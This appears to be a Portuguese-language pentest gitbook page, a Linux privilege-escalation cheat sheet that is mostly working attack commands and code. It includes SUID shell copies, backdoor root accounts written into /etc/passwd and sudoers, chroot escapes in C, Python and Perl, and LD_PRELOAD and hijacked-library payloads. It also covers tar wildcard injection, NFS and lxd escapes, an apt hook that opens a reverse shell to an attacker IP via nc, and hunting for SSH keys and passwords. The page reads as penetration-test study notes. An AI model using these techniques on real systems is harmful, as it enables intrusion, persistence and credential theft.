Privilege Escalation
Para realizar um PrivEsc em Linux, podemos seguir os seguintes itens como um manual de uso:
Exploits do Kernel
Programas executando com root
Softwares Instalados
Reúso de Senha(s)
Services
Suid Misconfiguration
sudo-rights
Scripts que o root utiliza com permissão de escrita
Bad Path Configuration
Cronjobs
Unmounted File Systems
DICA: Sempre que conseguir ter acesso root, podemos fazer uma cópia do bash com SUID ativo para acessarmos diretamente. Para isso basta executar os comandos: cp /bin/bash /tmp/bash; chmod +s /tmp/bash ; /tmp/bash
IMPORTANTE: Sempre que tiver permissões para utilizar alguma linguagem com privilégios elevados, utilize também seção de Code Injection
para ver como aproveitar dessa falha.
Ferramentas Automatizadas
Existem algumas ferramentas free muito boas, como LinEnum
, LinPEAS
, Unix Privesc
, Linprivchecker.py
e Linux Smart Enumeration
. Também podemos contar com uma ferramenta chamada pspy
, que é uma ferramenta de linha de comando projetada para bisbilhotar processos sem a necessidade de permissões de root. Ele permite que você veja comandos executados por outros usuários, tarefas cron, etc., à medida que são executados.
Para ambas, basta baixar na máquina alvo e executá-la.
LinEnum
$ ./LinEnum.sh
Unix Privesc Check
# Modo padrão
./unix-privesc-check standard
# Modo detalhado
./unix-privesc-check detailed
Linux Smart Enumeration
./lse.sh -l # Pouco detalhada
./lse.sh -l1 # Level 1 = Mostra mais informações que podem ajudar no PrivEsc
./lse.sh -l2 # Level 2 = Faz um dump de todas as informações reunidas sobre o sistema
Script Personalizado
O script abaixo trabalha de maneira semelhante ao pspy
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/mysther.tmp; sleep 0.1; done; sort /tmp/mysther.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/mysther.tmp;
Comandos Úteis
# Lista todos os usuários com permissão root
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'
# Lista todos os UID's e seus respectivos grupos
for i in $(cat /etc/passwd 2>/dev/null| cut -d":" -f1 2>/dev/null);do id $i;done 2>/dev/null
# Lista os shells disponíveis
cat /etc/shells
# Serviços que estão sendo executados como root
ps aux | grep root
# Mostra os últimos comandos que foram executados
cat ~/.bash_history
# Verifica se você pode acessar outros diretórios do usuário para encontrar arquivos interessantes
ls -ahlR /root/
# Verifica se podemos ler os arquivos de histórico do root
ls -la /root/.*_history
# Verifique se há arquivos ssh interessantes no diretório de usuários atuais
ls -la ~/.ssh/
# Verifica configurações do inetd services
ls -la /usr/sbin/in.*
# Verifique os arquivos de log em busca de palavras-chave,por exemplo "pass" e mostra correspondências positivas
grep -l -i pass /var/log/*.log 2>/dev/null
# Lista arquivos abertos (a saída dependerá dos privilégios da conta atual)
lsof -i -n
# Lê o correio
cat /var/mail/root
cat /var/mail
cat /var/spool/mail
# Arquivos globais graváveis
find / -perm -2 -type f 2>/dev/null
# Arquivos globais graváveis, exceto em "/proc"
find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null
# Diretórios globais que são graváveis
find / -perm -2 -type d 2>/dev/null
# Arquivos de configuração rhost
find /home –name *.rhosts -print 2>/dev/null
# Arquivos *.plan, lista permissões e lê o conteúdo dos arquivos
find /home -iname *.plan -exec ls -la {} ; -exec cat {} 2>/dev/null ;
# Procura hosts.equiv, lista permissões e lê o conteúdo dos arquivos
find /etc -iname hosts.equiv -exec ls -la {} 2>/dev/null ; -exec cat {} 2>/dev/null ;
# Informações do SSH keys/host
find / -name "id_dsa*" -o -name "id_rsa*" -o -name "known_hosts" -o -name "authorized_hosts" -o -name "authorized_keys" 2>/dev/null |xargs -r ls -la
# Lista arquivos dentro de um diretório específico. No exemplo abaixo usamos "/var/log"
find /var/log -type f -exec ls -la {} ; 2>/dev/null
# Lista arquivos ".log" dentro de um diretório específico. No exemplo abaixo usamos "/var/log"
find /var/log -name *.log -type f -exec ls -la {} ; 2>/dev/null
# Lista arquivos .conf dentro de /etc (recursividade de 1 level)
find /etc/ -maxdepth 1 -name *.conf -type f -exec ls -la {} ; 2>/dev/null
# Lista arquivos ".conf" (recursividade de 4 levels) e número da linha de saída em que a palavra "password" está localizada
find / -maxdepth 4 -name *.conf -type f -exec grep -Hn password {} ; 2>/dev/null
# Diretórios de arquivos graváveis
find / -writable -type d 2>/dev/null
find / -perm -222 -type d 2>/dev/null
find / -perm -o w -type d 2>/dev/null
# Procurando arquivo com SUID ativo
find / -perm -u=s -type f -exec ls -lh {} \; 2>/dev/null
# Procurando arquivo com GUID ativo
find / -perm -g=s -type f -exec ls -lh {} \; 2>/dev/null
# Arquivo com permissão de leitura
find / -type f -readable -ls 2>/dev/null
# Diretórios executável
find / -perm -o x -type d 2>/dev/null
# Diretórios graváveis e executáveis
find / \( -perm -o w -perm -o x \) -type d 2>/dev/null
# Listando arquivos com permissão
find / -type f -writable -path /sys -prune -o -path /proc -prune -o -path /usr -prune -o -path /lib -prune -o -type d 2>/dev/null
# Listando diretórios com permissão
find / -regextype posix-extended -regex "/(sys|srv|proc|usr|lib|var)" -prune -o -type d -writable 2>/dev/null
# Procurando por variáveis globais do PHP: $_POST[''], $_GET[''], $_SESSION[''], $_REQUESTS[''] e $_COOKIE['']
grep -R -i '$_[PGSRC].*\[' .
# Procurando por métodos perigosos do PHP: shell, exec, shell_exec, system, passthru, eval, open, unserialize, include, file_put_contents
grep -R -i 'shell\|exec\|shell_exec\|system\|passthru\|eval\|open\|unserialize\|include\|file_put_contents' .
As vezes é melhor definirmos datas de modificação nos arquivos que estamos buscando para ter um resultado melhor e mais limpo, como no exemplo abaixo:
find / -type f -newermt 2019-07-03 ! -newermt 2019-07-31 -ls 2>/dev/null
SSH
Arquivos onde contém chaves de SSH. Geralmente ficam em /home/<user>/.ssh/
:
authorized_keys
id_rsa
id_rsa.keystore
id_rsa.pub
known_hosts
Exploit em Kernel
Sempre que precisar procurar algum exploit em kernel, utilize a seguinte Dork no Google: site:exploit-db.com kernel <version>
.
Caso o Linux use Kernel na versão 2.6.39
, utilize os seguintes comandos para virar root no SO:
gcc mempodipper.c -o mempodipper
./mempodipper
IMPORTANTE
Não use explorações do kernel se você puder evitá-lo. Se você usá-lo, pode travar a máquina ou colocá-la em um estado instável, além de produzir muitos registros em sys.log
. Portanto, as explorações do kernel devem ser o último recurso. Tente usar um priv-esc mais simples
MySQL
Se estiver logado no mysql via terminal e quiser utilizar o terminal do SO com as mesmas autenticações do MySQL, basta utilizar o comando: \! sh
. Caso o MySQL estiver sendo executado como root, isso acaba se tornando um fácil PrivEsc.
Adicionando User ao Grupo sudo
Utilizando senha para usar sudo
usermod -aG sudo <user>
echo "<user> ALL=(ALL) ALL" >> /etc/sudoers
Sem utilizando senha para usar sudo
usermod -aG sudo <user>
echo "<user> ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
Lendo Permissões Personalizadas
Útil para saber se o usuário atual tem permissões para acessar determinadas ferramentas e/ou comandos como outro usuários (incluindo o root), sem pedir senha. Esse comando irá ler o arquivo /etc/sudoers
.
DICA: Ao editar o arquivo /etc/sudoers
, utilize o comando visudo
, pois este já verifica erros de sintaxe.
# Comando
sudo -l
# Saída
root ALL=(ALL:ALL) NOPASSAWD:/bin/cp
IMPORTANTE: Pode acontecer do sudo -l
não conseguir pegar as permissões, então certifique-se de olhar no arquivo /etc/sudoers e também nos arquivos presentes em /etc/sudoers.d/
.
Pegando a saída de exemplo, vamos ter as seguintes considerações:
SAÍDA DO COMANDO
EXPLICAÇÃO
root
Usuário com permissão sudo
ALL=
Todos os terminais
(ALL:ALL)
User:Group. ALL:ALL pode ser substituído por somente ALL
NOPASSAWD
"TAG opcional" para indicar que não precisará de senha
/bin/cp
Path do diretórios. Se houver mais de um arquivo, pode separá-los com uma vírgula
Se tiver um <user> ALL=ALL
, o usuário terá acesso a todo o sistema e automaticamente a tag NOPASSWD
estará ativo.
Adicione a linha a baixo em /etc/sudoers
para permitir que acesse qualquer comando como root, sem precisar de confirmar a senha atual
<user> ALL=NOPASSWD:ALL
Podemos também, ter a saída abaixo, que significa que podemos executar o bash
de qualquer usuário, menos do root
.
(ALL, !root) /bin/bash
Na teoria isso funciona, mas na prática, não. Podemos burlar essa regra em determinadas versões do sudo para pegarmos acesso root, executando o seguinte comando:
sudo -u#-1 /bin/bash
Usuários com Senha em Branco
Para pegar todos os usuários que tem senha em branco, utilize o comando
cut -d: -f1,2,3 /etc/passwd | grep ::
Criando Usuário root Manualmente
A funcionalidade desse tipo de criação de usuário, serve para criar um usuário que servirá como um Backdoor. Para isso, insira a linha abaixo em /etc/passwd
e acesse com o novo usuário que tem permissões de root:
# Caso exista o arquivo /etc/shadow
<usuario>:x:0:0:<comentario>:/:/bin/bash
# Caso não exista o arquivo /etc/shadow
<usuario>::0:0:<comentario>:/:/bin/bash
EXPLICAÇÃO
<usuario>
= Nome do usuário / loginx
= Área da senha do usuário. Quando tem um "x" significa que a senha está localizada em/etc/shadow/
. Caso tenha um asterísco (*), significa que a conta está desativada0
= Define o UID (User ID) que varia e 0 a 60000, sendo o UID reservado para oroot
, de 1 a 499 para sistemas e partir de 500 para usuários0
= Define o GID (Group ID) que o usuário pertence. Para ver os grupos disponíveis, confira o arquivo/etc/group
<comentario>
= Informações adicionais do usuário, que pode ser visto pelo comandofinger
/
= Diretório de Login/bin/bash
= Path absoluto da shell definida para o usuário
Agora vá em /etc/shadow
e adicione:
<usuario>::11367::::::
EXPLICAÇÃO
<usuario>:
= Login / ID do usuário:
= (Parâmetro vazio) Senha criptograda11367:
Números em dias da última data de alteração:
= (Parâmetro vazio) Números mínimo em dias para mudança de senha:
= (Parâmetro vazio) Números máximo em dias para mudança de senha:
= (Parâmetro vazio) Números máximo em dias que o usuário pode ficar inativo:
= (Parâmetro vazio) Data de expiração da conta:
= (Parâmetro vazio) Flag reservado
Depois disso já pode acessar com o novo usuário (senha em branco)
Serviços Locais
Pode ser que o usuário esteja executando algum serviço disponível apenas nesse host e você não pode se conectar ao serviço de fora. Esses serviços podem estar em execução como root ou podem ter vulnerabilidades neles. Eles podem ser ainda mais vulneráveis, pois o desenvolvedor ou usuário pode estar pensando que, uma vez que é acessível apenas para um usuário específico, não precisamos gastar tanta segurança".
netstat -anltup
netstat -ano
Podemos também ver quais portas locais estão abertas com esse serviço
ss -nlt
Pegando Chave SSH
Ao ter acesso ao shell do nosso alvo, podemos listar todos os usuários em /etc/passwd
, e depois podemos executar o seguinte comando para pegarmos a chave SSH:
cat /home/<user>/.ssh/id_rsa | tee <user>.key
Agora jogue o resultado que sair no terminal para sua máquina local em um arquivo chamado <user>.key
e execute os comandos:
chmod 600 <user>.key
ssh <user>@<ip_alvo> -i <user>.key
Assim você acessa ao SSH do alvo sem precisar inserir a senha
Link Simbólico
Criar um link simbólico de um comando para outro (ex.: de ls
para cat
) também pode ser uma maneira de escalar privilégios
Procurando strings em arquivos
Útil para procurar arquivos com palavras chave como: pass
, senha
, key
, secret
, api
, http
, db
, database
, ssh
, ftp
, mail
, access
, etc
grep </diretorio/projeto> -irnw -e '<string_a_ser_procurada>'
Permissão de Escrita em /etc/passwd
Podemos criar um novo usuário e informando um * no segundo parâmetro. Geralmente o segundo parâmetro é um x, o que significa que a senha está localizada em /etc/shadow
. Informando um *, estamos configurando nosso usuário para que não precise de senha para utilizar o SO.
Também podemos gerar um hash de uma determinada senha, e alterar manualmente o segundo parâmetro de /etc/passwd
(que seria o x ou *), com as seguintes maneiras:
# Python
python -c 'import crypt; print crypt.crypt("<nova_senha>", "$6$salt")'
# OpenSSL
openssl passwd <nova_senha>
openssl passwd -1 <nova_senha>
openssl passwd -1 -salt <salt> <nova_senha>
# makepasswd
echo '<nova_senha>' | makepasswd --clearfrom=- --crypt-md5 | cut -d' ' -f4
Após gerar a senha (hash), execute o comando abaixo para inserir o novo usuário no /etc/passwd.
echo "<novo_usuario>:<hash_gerado>:0:0:root:/root:/bin/bash" >> /etc/passwd
Agora basta acessá-lo:
su <novo_usuario>
Permissão de Escrita em /etc/shadow
Após ter permissão de escrita em shadow, altere a senha do root (ou crie outro user caso tenha permissão tamém em /etc/passwd
), gerando a senha com o comando abaixo e manipulando o arquivo /etc/shadow
, substituindo a resultado do comando abaixo, pela linha referente ao root, que geralmente é a primeira linha do arquivo.
echo "root:$(mkpasswd -m sha-512 <nova_senha> foobarbaz):12345:0:::::"
Permissão de Escrita no Diretório /etc/apt/apt.conf.d
Caso tenha permissão de escrita dentro do diretório /etc/apt/apt.conf.d
, crie um arquivo chamado pwn
, com o seguinte conteúdo:
APT::Update::Pre-Invoke {"<command>";};
Após isso, deve-se executar o comando apt-get update
, com um usuário com permissões privilegiadas. Em alguns cenários, esse comando é disparado a cada 2 minutos automaticamente, então verifique isso com pspy.py
.
Caso queira fazer tudo em um único comando, execute:
echo 'apt::Update::Pre-Invoke {“rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ip_atacante> <port> >/tmp/f”};' > /etc/apt/apt.conf.d/pwn
chroot
C
Crie um arquivo chamado exploit.c
com o seguinte conteúdo:
#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>
int main(void)
{
mkdir("chroot-dir", 0755);
chroot("chroot-dir");
for(int i=0; i < 1000; i++)
{
chdir("..");
}
chroot(".");
system("/bin/bash");
}
Depois execute:
gcc exploit.c -o exploit
chmod +x exploit
./exploit
Python
#!/usr/bin/python
import os
os.mkdir("./chroot-dir")
os.chroot("./chroot-dir")
for i in range(1000):
os.chdir("..")
os.chroot(".")
os.system("/bin/bash")
Agora basta executar:
python <file.py>
PERL
#!/usr/bin/perl
mkdir "chroot-dir";
chroot "chroot-dir";
foreach my $i (0..1000) {
chdir ".."
}
chroot ".";
system("/bin/bash");
Agora basta executar:
perl <file.pl>
getcap
getcap -r / 2>/dev/null
A saída deve ser semelhante a /usr/bin/python2.6 = cap_setuid+ep
, então execute o comando abaixo para ter acesso root:
/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'
rbash
vi
sudo vi
(esc) :set shell=/bin/sh
(esc) :shel
find
find /bin -name bash -exec {} \;
Rsync
Geralmente temos o arquivo /etc/rsyncd.secrets
que contém as credenciais de acesso, porém caso não ache esse arquivo, leia o conteúdo do arquivo /etc/rsyncd.conf
e veja o valor de secrets file
.
Sistemas de Arquivos Não Montados
Quando acharmos sistemas de arquivos não montados, podemos montar e iniciar o processo PrivEsc. O primeiro método que podemos utilizar, é a leitura do arquivo fstab
, procurando por algum volume que esteja como none
(caso seja necessáio, utilize um grep
).
cat /etc/fstab
cat /etc/fstab | grep none
Outra maneira de realizarmos tal verificação, são com os comandos abaixo:
mount -l
lsblk
Screen
Esse exploit funciona somente na versão 4.5.0
(às vezes pode ser visto como 4.05.00
). Baixe o screen2root
(disponível na página Softwares
deste gitbook) e execute.
Fora isso, também podemos listar todas as Screens ativas e, caso uma delas esteja com o usuário root, podemos pegar a sessão.
# Lista todas as sessões
screen -ls
# Cria uma screen
screen -S <name_screen>
# Entra em uma screen
screen -x <id_screen>
# Sai de uma screen, mantendo ativa. Caso execute o comando "exit", a screen será deletada
CTRL + A + D
Cronjob
O arquivo principal de Cronjob é o /etc/crontab
e nele podemos ver scripts que são executados como root e que podem ter permissão de escrita.
Também podemos ver com o comando crontab -l
(que irá ler /var/spool/cron/crontabs/<user>
) se há alguma crontab configurado para o nosso user atual. E por último utilize os comandos abaixo para verificar se há informações importantes:
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
grep CRON /var/log/cron.log
Também podemos fazer um PrivEsc através do Cronjob, alterando o caminho de chamadas que está utilizando o PATH para realizar a execução de algum arquivo. Vamos considerar a seguinte crontab abaixo (demais linhas foram ocultadas para melhor leitura):
SHELL=/bin/sh
PATH=/home/mysther:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
* * * * * root script.sh
Note que o arquivo script.sh
será procurado nos diretórios definidos em PATH
, seguindo da esquerda para a direita, então se criarmos um arquivo chamado script.sh
, localizado em /home/mysther
, ele será executado com privilégios root.
Se preferir, pode fazer a cron criar um bash com SUID ativo para conectar-se como root depois.
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/mysther/script.sh
/tmp/bash -p
id
Outra forma de fazermos isso, é quando o script utiliza o comando cd
para alterar de diretório, criando assim uma nova forma de atacar em um determinado path. No trecho abaixo podemos verificar uma falha de path, pois após entrar no diretório /home/mysther
, o executável cat
pode ser explorado, já que o mesmo não possui o path completo. Para este cenário, basta criar um arquivo malicioso com o nome /home/mysther/cat
.
*/01 * * * * root cd /home/mysther && cat file > /tmp/file
exports
Primeiro execute o comando abaixo e verifique se encontra uma saída semelhante a /tmp *(rw,sync,insecure,no_root_squash,no_subtree_check)
:
grep no_root_squash /etc/exports
Caso tenha um resultado positivo, execute os seguintes comando na máquina atacante:
showmount -e <ip_alvo>
mkdir /tmp/test
cd $_
mount -o rw,vers=2 <ip_alvo>:/tmp /tmp/1
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > exploit.c
# Ignore os erros, caso tenha
gcc exploit.c -o exploit
chmod +s exploit
Volte para a máquina alvo e execute (lembre-se de verificar o diretório de montagem, que no nosso exemplo é o /tmp
):
/tmp/exploit
id
Permissão de Disco
Se o usuário for membro do grupo Disco, podemos ler o conteúdo do sistema de arquivos
debugfs /dev/sda
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow
Permissão de Vídeo
Se o usuário for membro do grupo Vídeo, podemos ler o Framebuffer
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
Arquivos Modificados Recentemente
find /etc -type f -printf '%TY-%Tm-%Td %TT %p\n' | sort -r
find /home -type f -mmin -60
find / -type f -mtime -2
TMUX
Ferramenta semelhante a screen
, que permite múltiplas sessões no terminal. Assim como o screen
, se tiver uma sessão aberta como root será um fácil PrivEsc.
Primeiro podemos listar as sessões que estão abertas com o comando:
tmux ls
Analisando o serviço com o comando ps aux | grep -i tmux
, podemos ter um retorno de algo parcido como /usr/bin/tmux -S /.devs/dev_sess
. Verificando as permissões com ls -la /.devs/dev_sess
podemos ver o usuário e, caso seja de interesse, acessarmos a sessão com o comando
tmux -S /.devs/dev_sess
Variáveis de Ambiente
SO
Supondo que temos um derterminado comando que está sendo executado como root
, por exemplo script.sh
, podemos criar um arquivo com o mesmo nome em um diretório diferente e fazer o root
executá-lo. Vamos supor que temos a seguinte resultado ao executar o comando: echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
O arquivo script.sh
está localizado em /usr/bin
, porém se criarmos um arquivo com o mesmo nome, no diretório /usr/local/bin
, ele que será executado, pois a leitura é sempre feita nos diretórios que estão em $PATH
, seguindo da esquerda para a direita.
Python
Seguindo o exemplo acima podemos fazer isso o Python. Vamos supor que temos o seguinte arquivo chamado script.py
que está sendo executado como root
(SUID Bit).
from shutil import make_archive
src = '/var/log'
dst = '/var/log2'
make_archive(dst, 'gztar', src)
Então vamos criar um arquivo chamado shutil.py
(que irá conter um código malicioso como uma Reverse Shell) e executar o script com o seguinte comando:
sudo PYTHONPATH=. script.py
pip
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF
LD_PRELOAD
Para que esse tipo de PrivEsc dê certo, primeiro execute o sudo -l
(abaixo segue um exemplo de saída) e verifique se aparece o LD_PRELOAD
(geralmente vem como env_keep+=LD_PRELOAD
) na lista de Matching Defaults
. Nesse caso, o comando /usr/bin/find
está com privilégios, então iremos utilizá-lo para realizar nosso ataque
Matching Defaults entries for teste on win:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, env_keep+=LD_PRELOAD
User teste may run the following commands on win:
(ALL : ALL) NOPASSWD: /usr/bin/find
Agora execute os comandos abaixo com o usuário teste
:
cd /tmp
nano shell.c
Insira o código abaixo:
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}
Agora converta o arquivo feito em C
em so
(extensão de lib em Linux, equivalente a dll
no Windows):
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
E então execute-o utilizando o comando find
(que estamos usando como exemplo) para escalar privilégio:
sudo LD_PRELOAD=/tmp/shell.so find
Compartilhamento NFS
Se a máquina tiver algum compartilhamento NFS mal configurado, podemos utilizá-lo para aumentar nossos privilégios, pois podemos ler arquivos remotos do alvo.
Verificando se o alvo possui qualquer compartilhamento NFS :
showmount -e <ip>
sudo nmap --script=nfs-showmount <ip>
Um ponto importante é sabermos também qual a versão do NFS:
rpcinfo -p <ip> | grep nfs
Caso o resultado seja positivo, podemos montar a unidade em nosso SO.
# Criando um diretório para acessar os arquivos remotos
mkdir /tmp/nfsdir
# Realizando a montagem com 2 maneiras diferentes
mount -t nfs -o nfsvers=<version> <ip>:<directory_mount> /tmp/nfsdir
mount -t nfs <ip>:<directory_mount> /tmp/nfsdir
Assim como podemos montar o compartilhamento em nosso host, podemos também desmontá-lo, com o seguinte comando:
umount /tmp/nfsdir
Aumentando Privilégios de Forma Manual
Depois de criarmos a montagem, podemos receber mensagem de access denied,
que podemos burlar. Por razões de "segurança", o NFS 4 não mostra o uid e gid remotos reais, mas sim o que corresponde ao usuário e grupo nobody
. No entanto, o NFS 3 mostra o uid e gid remotos reais do proprietário do compartilhamento, o que nós dá uma grande vantagem (caso o NFS 3 esteja disponível), já que podemos criar um usuário/grupo com o mesmo uid/gid.
Utilizando o comando mount
(descrito acima), podemos definir o valor de parâmetro nfsvers
como 3 e depois verificar os respectivos uid/gid, utilziando os comandos abaixo:
ls -lha <mount_dir>
ls -ld <mount_dir>
stat <mount_dir>
Após isso, já sabemos os valores de uid e gid necessários para acessar o(s) arquivo(s), então vamos criar nosso user que possui tais permissão:
groupadd --gid <gid> <mysther_group>
useradd --uid <uid> --groups <mysther_group> <mysther_user>
sudo -u <mysther_user> ls -l <mount_dir>
Aumentando Privilégios com NfSpy
nfspy -o server=<ip>:<directory_mount>,nfsport=2049/tcp,rw <mount_dir>
Compartilhamento NFS antigo
Utilize o -o nolock
para desabilitar o bloqueio de arquivos.
mkdir </mnt/new_folder>
sudo mount -o nolock <ip>:/<directory> </mnt/new_folder/>
ls -lha </mnt/new_folder>
MOTD
Caso possua permissões de escrita no diretório /etc/update-motd.d
, execute o comando abaixo para sobrescrever o arquivo 00-header
.
echo "cp /bin/bash /tmp/bash && chmod u+s /tmp/bash" >> /etc/update-motd.d/00-header0
Agora para que o arquivo seja executado, é preciso realizar login (pode utilizar o SSH) para que o arquivo 00-header seja executado como root. Assim que executado, podemos ver o arquivo /tmp/bash com SuidBit ativo, então execute o comando abaixo para pegar acesso root.
/tmp/bash -p
tar
Para que isso dê certo, certifique-se antes que o usuário alvo (de preferência root) esteja utilizando um comando semelhante a:
tar czf <new_file.tar.gz> *
Levando em conta de que isso esteja ocorrendo e que estamos todos no mesmo diretório, vamos criar 1 arquivo que será executado pelo bash e 2 arquivos (que irão servir como parâmetros) para a execução do primeiro arquivo criado.
echo '<command>' > shell.sh
touch ./--checkpoint=1 ./--checkpoint-action=exec=bash\ shell.sh
Agora assim que o comando tar
for executado, o arquivo shell.sh
também será executado, usando os privilégios do mesmo usuário que executou o tar
.
VIM
/tmp/vim -c ':py3 import os ; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
Library Ausente
Quando temos SETUID em um executável que execute/procura por algum arquivo .so
e não o localiza, podemos então criar o nosso próprio arquivo .so
malicioso. Para sabermos onde que devemos salvar esse arquivo, devemos antes ler os arquivos presentes em /etc/ld.so.conf.d/
para descobrir o diretório das libs compartilhadas e depois criar um arquivo com extenção .c
, contendo o conteúdo abaixo.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int test(){
setuid(0);
setgid(0);
system("/bin/bash");
}
Alguns código podem manter o diretório em hardcoded, então podemos buscar através do seguinte comando:
objdump -x <file> | grep RPATH
Note que no código acima estamos utilizando uma função chamada test
(linha 5), que deve ser alterado para o nome correto da function. Geralmente podemos ver o nome em erros como: <function>: symbol lookup error: <function>: undefined symbol: <function>
Após isso, vamos compilá-lo:
gcc -shared -o <file.so> -fPIC <file.c>
Agora basta executar novamente o executável que chama o arquivo .so
.
É comum pergamos cenário onde o binário irá ler alguma alguma variável do arquivo .so
, então somos obrigado a definí-lo. Para contornar isso e acessar o bash, podemos utilizar um constructor
da seguinte forma:
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
int <variavel_obrigatoria>=1234;
void inject()__attribute__((constructor));
void inject()
{
setuid(0);
setgid(0);
system("/bin/bash");
}
Vault
Com o vault, podemos gerar uma senha SSH do usuário root, caso uma má configuração permita isso
vault write ssh/creds/<name_otp> ip=<ip_alvo>
# Ou
vault ssh -role <name_otp> -mode otp <user>@<ip>
# No exemplo abaixo, a senha (OPT Token da sessão) irá aparecer, então basta utilizar a senha fornecida
vault ssh <user>@<ip>
lxd
Verifique com o comando id
, se o usuário atual faz parte do grupo lxd
. Caso seja positivo, execute o comando abaixo no host atacante.
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine
Transfira o arquivo alpine-v<version>.tar.gz
para o host alvo e depois execute os seguintes comandos (no host alvo).
lxc init <myimage> ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/root path=/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
Agora com permissão root, acesse o diretório /mnt/root
para visualizar todo os arquivos do SO.
Softwares de Terceiros Instalados
Geralmente os softwares de terceiros vão estar em diretórios comuns como:
/usr/local/
/usr/local/src
/usr/local/bin
/opt/
/home
/var/
/usr/src/
Podemos também ver os pacotes instalados com os comandos:
# Debian
dpkg -l
# CentOS, OpenSuse, Fedora, RHEL
rpm -qa
# OpenBSD, FreeBSD
pkg_info
Senhas em Texto Limpo
Geralmente podemos pegar tais senhas em arquivos de configurações. Útil também ver nas configurações de e-mail em /var/spool/mail
.
Com o Linenum
, podemos buscar por senhas utilizando o comando: LinEnum.sh -t -k password
.
Arquivos Temporários
Muitos administradores tem mania deixar arquivos importantes em /tmp
e /var/tmp
. Ambos serve, para armazenar arquivos temporários, mas, apesar do nome, /var/tmp
não tem é um diretório que exclui todos os seus arquivos ao reiniciar o SO, diferentemente do /tmp
.
Finger
Mostrando informações do usuário, como senhas telnet.
finger -l @exemplo.com
O comando finger
tabmém serve para obter informações do usuário (como tempo de ociosidade), Host e IP, mas também serve mostrar arquivos .plan
ou .project
em seus diretórios, caso exista.
finger 0@<ip>
Sites
# Lista de Kernel e seus devidos exploits
https://github.com/lucyoa/kernel-exploits
# Unix Privesc Check
https://pentestmonkey.net/tools/audit/unix-privesc-check
# pspy
https://github.com/DominicBreuker/pspy
# NfSpy
https://github.com/bonsaiviking/NfSpy
# Sensitive Files
https://github.com/xMilkPowderx/OSCP/blob/master/File%20Inclusion.md
# Tutorial para privesc com o arquivo /etc/passwd
https://www.hackingarticles.in/editing-etc-passwd-file-for-privilege-escalation/
https://vulp3cula.gitbook.io/hackers-grimoire/post-exploitation/privesc-linux
https://linuxconfig.org/how-to-create-systemd-service-unit-in-linux
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md
https://github.com/AlessandroZ/BeRoot/tree/master/Linux
# Diversos comandos úteis para Enumerar e fazer PrivEsc
https://www.rebootuser.com/?page_id=1721
https://www.slideshare.net/nullthreat/fund-linux-priv-esc-wprotections
Last updated
Was this helpful?